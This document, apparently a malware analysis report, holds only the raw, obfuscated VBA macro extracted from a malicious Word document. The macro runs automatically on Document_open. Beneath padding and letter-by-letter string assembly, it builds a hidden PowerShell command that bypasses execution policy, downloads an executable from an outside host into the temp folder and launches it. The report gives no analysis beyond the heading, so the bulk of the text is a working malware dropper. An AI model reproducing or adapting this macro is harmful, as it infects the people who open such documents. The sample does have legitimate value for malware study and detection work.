Malicious Office (OLE) / .DOC — malware analysis report

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function EzXmOLgxlo() As String
'jhWZh
'NdMFq
'QxZYq
'AlpFt
'FTZlv
'sOwuP
'UlRfi
'gOJHh
'dpwYn
'ZjyIS
'bKcOD
'dwEzc
Dim lJgKT As Integer
lJgKT = 0
If lJgKT = 0 Then
End If
Dim qBPWJ As Integer
qBPWJ = 0
If qBPWJ = 0 Then
End If
Dim DLrfj As Integer
DLrfj = 0
If DLrfj = 0 Then
End If
Dim uGEbj As Integer
uGEbj = 0
If uGEbj = 0 Then
End If
Dim qqIfa As Integer
qqIfa = 0
If qqIfa = 0 Then
End If
Dim EhWTb As Integer
EhWTb = 0
If EhWTb = 0 Then
End If
Dim qvHvU As Integer
qvHvU = 0
If qvHvU = 0 Then
End If
Dim KevlP As Integer
KevlP = 0
If KevlP = 0 Then
End If
Dim yHCaK As Integer
yHCaK = 0
If yHCaK = 0 Then
End If
Dim VxwrW As Integer
VxwrW = 0
If VxwrW = 0 Then
End If
Dim hPqmi As Integer
hPqmi = 0
If hPqmi = 0 Then
End If
Dim qHOnD As Integer
qHOnD = 0
If qHOnD = 0 Then
End If

Dim chejZDrlWS As Long
Dim sGxpicWVAN As String
Dim RoxgxFhlMe As Single, RXzygbHTx As Byte, IeS As String, XerOtE As String, TrtJvxfGEoRaR As Date
If "QrfYmFW" = "SMNHtzVoAomDdBXjj" Then
HvUIEuMbbIpzCEroRhIzQEvtfjyMCvrJligByuMZtXzLtFSXgwv:
MsgBox "iUYQnwdGNtiSUR", vbCritical, "xgPlsFewGpLzQRaldjbnVVgtIDMYJoERlHSgoWTKTuV"
End If
HUIajkBasd = "najskBKasd"
qwuyBBBBasd = "nasjdk"
sGUskddda = "c"
EzXmOLgxlo = sGUskddda
End Function

Function BNKJasgkBJSgdjk()
uqwhqoqe = "ukaku/"
qwioehjl = "njaaak"
Nsannw = "op/l"
qwehioHNKLs = "asbnjK"
HUIajsdl = "asnjHJSad"
Dim LKTJJQAFHW As String
Dim VKVADDGRPQ As Integer
Dim RUVYGKAEVH As String
Dim BUSBRKYJHB As String
IYGqwnkdn = "cdnfactorys"
Ybjsabdqw = ".t"
guyKJsad = 3422 + 11
njTRYuiqwend = "juqiiqw"
IUqunklqwd = IYGqwnkdn + Ybjsabdqw + Nsannw + uqwhqoqe
BNKJasgkBJSgdjk = IUqunklqwd
End Function

Function KCUeeNpZldESNmXrRKKQt() As String
gBKJasd = 213 + 11
NasgbB = "hiasdbk"
Dim BlBGKeceIEPxauadFDUvN As Long
Dim KYaOvLwOZAHEwLGhFeiTI As String
Dim vVDPwPukVzclgqvRvqluf As Single, AgzIDXleF As Byte, jJA As String, nOCgXj As String, gsFAChriiLHDq As Date
If "DgRAoYG" = "sruXbMhbeWNPdqScW" Then
MsgBox "wRwULOqqvVDUWZ", vbCritical, "KIrUUKLxxDPAJVTmSAWMywcUNCatzhlbVWRwhnjLBAr"
End If
NjasdgkL = "^"
yuJKNlsad = NjasdgkL
KCUeeNpZldESNmXrRKKQt = yuJKNlsad
End Function

Function mEeLxxkuAoZxlLobAYpUwdPti() As String
Dim wmKANrnygQzjjvIZSimYhXkui As Long
Dim jQOBUGVSXApKFqRAmxEduRdXc As String
BHJabskYGIKs = ""
qwuigb = "nasjdk"
qwiuenqweih = ""
YTFUGhs = 2213 - 100
Dim jzAcsDPbhlYpkTUgjNVpqFVUZ As Single, zMkPZLhJD As Byte, yFv As String, oasoAd As String, bbqJogIbxieyo As Date
If "sFinIGI" = "sQfGBrFiaUjYmyUHd" Then
MsgBox "ThdGNTfccwnnCU", vbCritical, "xuqlKfcOeatSNzLImNfqdZwxFZXGdRWuVYEtvyrFxzn"
End If
qwgebnlkl = "e"
mEeLxxkuAoZxlLobAYpUwdPti = qwgebnlkl
End Function


Private Sub Document_open()
'jhWZh
'NdMFq
'QxZYq
'AlpFt
'FTZlv
'sOwuP
'UlRfi
'gOJHh
'dpwYn
'ZjyIS
'bKcOD
'dwEzc
Dim lJgKT As Integer
lJgKT = 0
If lJgKT = 0 Then
End If
Dim qBPWJ As Integer
qBPWJ = 0
If qBPWJ = 0 Then
End If
Dim DLrfj As Integer
DLrfj = 0
If DLrfj = 0 Then
End If
Dim uGEbj As Integer
uGEbj = 0
If uGEbj = 0 Then
End If
qEwfglNENYvv = EzXmOLgxlo
eGTuFTCYSpng = "m"
UCgocuEGVOAw = "d"
gqqqVOSPIMpP = " "
mcwPKmWVEUaj = "/"
oKneOskRxZbO = EzXmOLgxlo
WtikUffRerOx = " "
SYFCLJcKRFwg = "p"
DmhjwfDeZhTo = KCUeeNpZldESNmXrRKKQt
pKqtRXmXXTbg = "o"
vmveNOffjfbx = "w"
eRkyAvkFDYRb = mEeLxxkuAoZxlLobAYpUwdPti
SUxEtLMyuBHg = "r"
okpSyGsJdhnK = KCUeeNpZldESNmXrRKKQt
FpnJVVFSYmEh = "s"
cPjuhcMDrctk = "h"
OVqdtBSAvQwm = mEeLxxkuAoZxlLobAYpUwdPti
TbnlKVgMtzIO = KCUeeNpZldESNmXrRKKQt
RRQzFohEuUAB = qEwfglNENYvv + eGTuFTCYSpng + UCgocuEGVOAw + gqqqVOSPIMpP + mcwPKmWVEUaj + oKneOskRxZbO + WtikUffRerOx + SYFCLJcKRFwg + DmhjwfDeZhTo + pKqtRXmXXTbg + vmveNOffjfbx + eRkyAvkFDYRb + SUxEtLMyuBHg + okpSyGsJdhnK + FpnJVVFSYmEh + cPjuhcMDrctk + OVqdtBSAvQwm + TbnlKVgMtzIO
tNUBFcdiLfOe = "l"
oAaTKsFOvDVE = "l"
ShktaHwOLKBm = " "
cjOsidUfesGq = "-"
MwlEOrGAhguB = mEeLxxkuAoZxlLobAYpUwdPti
wSVJgORqlqah = "x"
YOTULkdupqpt = KCUeeNpZldESNmXrRKKQt
aASzCxrmHjPh = mEeLxxkuAoZxlLobAYpUwdPti
fWDxSntNInIu = EzXmOLgxlo
aUrIfTsBsVWr = "u"
WRzuVQbePiAf = "t"
XyyNrXwLUOxy = "i"
nttxXetouitQ = "o"
BLBTNElLZWiT = RRQzFohEuUAB + tNUBFcdiLfOe + oAaTKsFOvDVE + ShktaHwOLKBm + cjOsidUfesGq + MwlEOrGAhguB + wSVJgORqlqah + YOTULkdupqpt + aASzCxrmHjPh + fWDxSntNInIu + aUrIfTsBsVWr + WRzuVQbePiAf + XyyNrXwLUOxy + nttxXetouitQ
lHxbRmqPMIdU = KCUeeNpZldESNmXrRKKQt
wEBxqwMLyxms = "n"
hhVSocaLSPZJ = "P"
CFVneISWxdHY = "o"
ehVEVMLveQYk = "l"
ccSGsgeRaNnu = KCUeeNpZldESNmXrRKKQt
YfQwTKTiMluI = "i"
cedqKBSoabBE = EzXmOLgxlo
iBvEpRdRvUXQ = "y"
XkrRrKofGcJs = " "
cslDBPfKdiVm = "B"
EZwrQIOekxMZ = "y"
vhEFnlxHdrCK = "P"
gfhNxfXPMpTI = KCUeeNpZldESNmXrRKKQt
IfRYToHBowLh = "a"
bnkTfLlmzKGm = "s"
MVNKyenxsZLY = "s"
LIdogWDVqJKD = " "
KzCcEQbfmoXC = "-"
gmZomtugXtgK = BLBTNElLZWiT + lHxbRmqPMIdU + wEBxqwMLyxms + hhVSocaLSPZJ + CFVneISWxdHY + ehVEVMLveQYk + ccSGsgeRaNnu + YfQwTKTiMluI + cedqKBSoabBE + iBvEpRdRvUXQ + XkrRrKofGcJs + cslDBPfKdiVm + EZwrQIOekxMZ + vhEFnlxHdrCK + gfhNxfXPMpTI + IfRYToHBowLh + bnkTfLlmzKGm + MVNKyenxsZLY + LIdogWDVqJKD + KzCcEQbfmoXC
iFgFlqhoJkBb = "N"
vFvgrhfiGPgB = "o"
DmDsayNiJzvF = "P"
rDDUsASSZVms = KCUeeNpZldESNmXrRKKQt
QhRAyAYWLhOa = "r"
gEBDYRiuKqlx = "o"
JtyMBhqTtSOQ = "f"
WwHJpFGfLIpx = "i"
rlkQHMTRoMhu = "l"
fXIHpxCRkUCq = mEeLxxkuAoZxlLobAYpUwdPti
jyucrMzqtXDF = " "
RaUxXMaHzDqN = "-"
FBIgJaYurtpV = EzXmOLgxlo
wQZusQnuQHfe = "o"
swbkTfGZtYwM = "m"
DLxDYaeVLAbd = KCUeeNpZldESNmXrRKKQt
zLwFdrIsrHQI = "m"
nbwkcGCNOMJZ = "a"
GISBaqrmYGwN = "n"
GoWKqwBYXALG = gmZomtugXtgK + iFgFlqhoJkBb + vFvgrhfiGPgB + DmDsayNiJzvF + rDDUsASSZVms + QhRAyAYWLhOa + gEBDYRiuKqlx + JtyMBhqTtSOQ + WwHJpFGfLIpx + rlkQHMTRoMhu + fXIHpxCRkUCq + jyucrMzqtXDF + RaUxXMaHzDqN + FBIgJaYurtpV + wQZusQnuQHfe + swbkTfGZtYwM + DLxDYaeVLAbd + zLwFdrIsrHQI + nbwkcGCNOMJZ + GISBaqrmYGwN
spThfxBynfMU = "d"
pvFcBdrYyIvD = " "
iNjHTPZazvMp = "("
yYQWXFrsYxsm = "N"
fTFuMaJoyfNC = mEeLxxkuAoZxlLobAYpUwdPti
NyQmeGMfRvNH = "w"
ErtVzXxUzYCl = "-"
ugnWjhrzUoPL = "O"
loKSaKawxKGL = KCUeeNpZldESNmXrRKKQt
rrLmbeynhAVC = "b"
TQnMahsPVdhK = "j"
UlFAeSYTKnhR = mEeLxxkuAoZxlLobAYpUwdPti
kroPFsYMYPjf = EzXmOLgxlo
jDPXbwtmFWRe = GoWKqwBYXALG + spThfxBynfMU + pvFcBdrYyIvD + iNjHTPZazvMp + yYQWXFrsYxsm + fTFuMaJoyfNC + NyQmeGMfRvNH + ErtVzXxUzYCl + ugnWjhrzUoPL + loKSaKawxKGL + rrLmbeynhAVC + TQnMahsPVdhK + UlFAeSYTKnhR + kroPFsYMYPjf
GOLgbLCjTjHj = "t"
mgzHXlUhXlut = " "
SckIBrEoCKEP = "N"
kNvMbqpSYjWd = mEeLxxkuAoZxlLobAYpUwdPti
dOniTQmaMbYe = "t"
YDsZvbntoWtR = "."
ErjZJrfZlFZe = "W"
vhvSZcjnlVVM = mEeLxxkuAoZxlLobAYpUwdPti
IHShpqCzAJWF = "b"
AaghLWhXLOjl = EzXmOLgxlo
TLDsyIfwrJUf = "l"
onpEArWaNnwq = "i"
xoOGugNNLtmV = mEeLxxkuAoZxlLobAYpUwdPti
lRxaUGGGIFsY = "n"
bsaUueKTifDZ = "t"
MTDeMjKnXxvZ = jDPXbwtmFWRe + GOLgbLCjTjHj + mgzHXlUhXlut + SckIBrEoCKEP + kNvMbqpSYjWd + dOniTQmaMbYe + YDsZvbntoWtR + ErjZJrfZlFZe + vhvSZcjnlVVM + IHShpqCzAJWF + AaghLWhXLOjl + TLDsyIfwrJUf + onpEArWaNnwq + xoOGugNNLtmV + lRxaUGGGIFsY + bsaUueKTifDZ
huEbnXuOCKEA = ")"
uknPNWMIyWtD = "."
KVopxcNpDwKL = "("
PRVzoZYnfxci = "'"
WAEprTAFpcEL = "D"
RTsEWlpDwprF = "o"
rAhshRqgQyEa = "w"
dmHOFHgAtdSV = "n"
TxPmHycvlWVY = "l"
rucTfmZIpHes = "'"
MQKZNmlyBbcx = "+"
jjQfhTNcjlfU = "W"
OyQRfkiTIUzP = "S"
gMdQLDBkXBOE = "h"
JKvVDSQKUTDV = "e"
zkJnXssJgVPm = "'"
TMMLutUIsJOZ = "o"
IEvRHdiSDVKB = "a"
pMoZnJAVBFpg = "d"
WbzMBqOydxEj = "c"
cOZfwjMYppJk = "r"
tnvlvEAxLMIY = "i"
EGwJoxeWoiWZ = "f"
MBxqZqvpvCRR = "i"
jECcImscPJYW = MTDeMjKnXxvZ + huEbnXuOCKEA + uknPNWMIyWtD + KVopxcNpDwKL + PRVzoZYnfxci + WAEprTAFpcEL + RTsEWlpDwprF + rAhshRqgQyEa + dmHOFHgAtdSV + TxPmHycvlWVY + rucTfmZIpHes + MQKZNmlyBbcx + zkJnXssJgVPm + TMMLutUIsJOZ + IEvRHdiSDVKB + pMoZnJAVBFpg + EGwJoxeWoiWZ + MBxqZqvpvCRR
CKtXqHtJZpHh = "l"
lElWzfvlVBTf = mEeLxxkuAoZxlLobAYpUwdPti
zmtvQLZfWMNw = "'"
qPTzPZnjzNAT = ")"
KlzhTnyTwJGN = "."
YwQBfnZAUgKJ = "i"
pivbbzyjAxLU = "n"
rJexfRZbyrVg = "v"
YxjrCcRHmTXF = "o"
DrfMuvHLoxCs = "k"
aNWIOUWgdFqB = mEeLxxkuAoZxlLobAYpUwdPti
tswIvTsbZxLs = "("
akMFXpNaxXJC = "'"
CJXEpbZTYmKQ = "p"
sTmjxcgpGwZJ = "t"
QbTjoGSrcFFx = "."
wjeVdslSNdpg = "S"
TfPyVrLNaNvQ = jECcImscPJYW + CKtXqHtJZpHh + lElWzfvlVBTf + zmtvQLZfWMNw + qPTzPZnjzNAT + KlzhTnyTwJGN + YwQBfnZAUgKJ + pivbbzyjAxLU + rJexfRZbyrVg + YxjrCcRHmTXF + DrfMuvHLoxCs + aNWIOUWgdFqB + tswIvTsbZxLs + akMFXpNaxXJC
kTNlCVnHEnXP = "h"
BpIWkbuvdzea = "t"
LfEWOUoetiUB = "'"
DfXpIAwFGqki = "+"
DkMkmJAfucCx = "'"
UImmyJsiecwz = "l"
wlYnlVRYzwfK = "l.1"
yXXGysgHfgDj = "t"
JvWlSmcgbsfl = "p"
XsyckOywOThr = ":"
CjjGggIGFwBw = "/"
QsrpboNZptOS = "/"
kzhwAQhircXL = TfPyVrLNaNvQ + kTNlCVnHEnXP + BpIWkbuvdzea + LfEWOUoetiUB + DfXpIAwFGqki + DkMkmJAfucCx + yXXGysgHfgDj + JvWlSmcgbsfl + XsyckOywOThr + CjjGggIGFwBw + QsrpboNZptOS
vyfEUfsKRXbD = "'"
cjcQkGlPxlJt = "+"
yFPYQwcUWVmi = "'" + BNKJasgkBJSgdjk
MNdeJraXAwwQ = "'"
QqQUUwNQPsDG = ","
kMwkTkaBksGc = "'"
RNFTYbnJpPdJ = "%"
vlAoLJVlOMfn = "T"
OezqgAmOulso = "M"
SeroYyHBnrJc = "P"
cXvdrzFRInvk = "%"
vsKohVHooBoj = "\"
OsbzPMNkojJw = "G"
DRPMFQZuFiSs = "k"
YdVZqoZUIfEu = "s"
ceVGOqYozFfr = "a"
efDcxuqxDbgE = "g"
JuxUnonLUONu = "D"
TQqkZHwgQsBw = "."
bqLSeaqAouMD = kzhwAQhircXL + vyfEUfsKRXbD + cjcQkGlPxlJt + yFPYQwcUWVmi + MNdeJraXAwwQ + QqQUUwNQPsDG + kMwkTkaBksGc + RNFTYbnJpPdJ + vlAoLJVlOMfn + OezqgAmOulso + SeroYyHBnrJc + cXvdrzFRInvk + vsKohVHooBoj + OsbzPMNkojJw + DRPMFQZuFiSs + YdVZqoZUIfEu + ceVGOqYozFfr + efDcxuqxDbgE + JuxUnonLUONu + TQqkZHwgQsBw
MEiCSIbGZLmH = mEeLxxkuAoZxlLobAYpUwdPti
BSoqwtpqYouK = "x"
FUfsaIHjCnoW = mEeLxxkuAoZxlLobAYpUwdPti
fFyAYtFmjKVJ = "'"
VtGPdLhDsyhV = ")"
dxJVppcfBYSB = ";"
BNJqriCkUcTZ = "s"
lzBCsOaYgAHJ = "t"
ffuEexWMFhCz = "a"
QHpjYHPZRDrv = "r"
NSmtichzJPzE = "T"
IimLuTmisGwh = "-"
ZYFlbsuVThQO = "P"
jXzrIYfuCcNE = "r"
QFcsmrvBdFlp = bqLSeaqAouMD + MEiCSIbGZLmH + BSoqwtpqYouK + FUfsaIHjCnoW + fFyAYtFmjKVJ + VtGPdLhDsyhV + dxJVppcfBYSB + BNJqriCkUcTZ + lzBCsOaYgAHJ + ffuEexWMFhCz + QHpjYHPZRDrv + NSmtichzJPzE + IimLuTmisGwh + ZYFlbsuVThQO + jXzrIYfuCcNE
qCxOTSfKlJJd = "o"
TInlvFBWcgVK = EzXmOLgxlo
dvruqfUqvBOp = mEeLxxkuAoZxlLobAYpUwdPti
ymFPvrJHQHvd = "s"
tkaCJTGWWRgQ = "s"
EfsRmHzubhOP = " "
NEgbWKKsLLEx = "'"
RzSSbEdsDCnc = "%"
qqfmVaXvVzVK = "T"
KdJvPDlUqHyG = "M"
OzqYsdPRgKBo = "P"
JQqWdLVTfbnJ = "%"
FJTNoeCUCJtx = "\"
onoLYKttDgwm = QFcsmrvBdFlp + qCxOTSfKlJJd + TInlvFBWcgVK + dvruqfUqvBOp + ymFPvrJHQHvd + tkaCJTGWWRgQ + EfsRmHzubhOP + NEgbWKKsLLEx + RzSSbEdsDCnc + qqfmVaXvVzVK + KdJvPDlUqHyG + OzqYsdPRgKBo + JQqWdLVTfbnJ + FJTNoeCUCJtx
HzARVHFJSicF = "G"
CmNFuzeoQLDK = "k"
xtfBfzpXQzpy = "s"
ezUkVOahIrwQ = "a"
kciVJwSxATCy = "g"
cpyZkgbNzfib = "D"
RBWkxAEQqMOb = "."
iZqZuvHJRhuw = mEeLxxkuAoZxlLobAYpUwdPti
YqdfDiufasuq = "x"
hlrvzPQytwFu = mEeLxxkuAoZxlLobAYpUwdPti
NMglpBMnbAjb = onoLYKttDgwm + HzARVHFJSicF + CmNFuzeoQLDK + xtfBfzpXQzpy + ezUkVOahIrwQ + kciVJwSxATCy + cpyZkgbNzfib + RBWkxAEQqMOb + iZqZuvHJRhuw + YqdfDiufasuq + hlrvzPQytwFu
XmsFijPcNcMc = "'"
VGrrAdSdyQqn = ";"
WpcphQqdgesl = jjQfhTNcjlfU + OyQRfkiTIUzP + WbzMBqOydxEj + cOZfwjMYppJk + tnvlvEAxLMIY + CJXEpbZTYmKQ + sTmjxcgpGwZJ + QbTjoGSrcFFx + wjeVdslSNdpg + gMdQLDBkXBOE + JKvVDSQKUTDV + UImmyJsiecwz + wlYnlVRYzwfK
Dim VxwrW As Integer
VxwrW = 0
If VxwrW = 0 Then
End If
Set GHBgyuFYGsaid = CreateObject(WpcphQqdgesl)
Dim hPqmi As Integer
hPqmi = 0
If hPqmi = 0 Then
End If
Dim qHOnD As Integer
qHOnD = 0
If qHOnD = 0 Then
End If
JVPRoAaQNTMs = NMglpBMnbAjb + XmsFijPcNcMc + VGrrAdSdyQqn
fFGkajsKD = Array("gyuasHJBKiasd", GHBgyuFYGsaid.Run(JVPRoAaQNTMs, 0))
Dim qqIfa As Integer
qqIfa = 0
If qqIfa = 0 Then
End If
Dim EhWTb As Integer
EhWTb = 0
If EhWTb = 0 Then
End If
Dim qvHvU As Integer
qvHvU = 0
If qvHvU = 0 Then
End If
Dim KevlP As Integer
KevlP = 0
If KevlP = 0 Then
End If
Dim yHCaK As Integer
yHCaK = 0
If yHCaK = 0 Then
End If
End Sub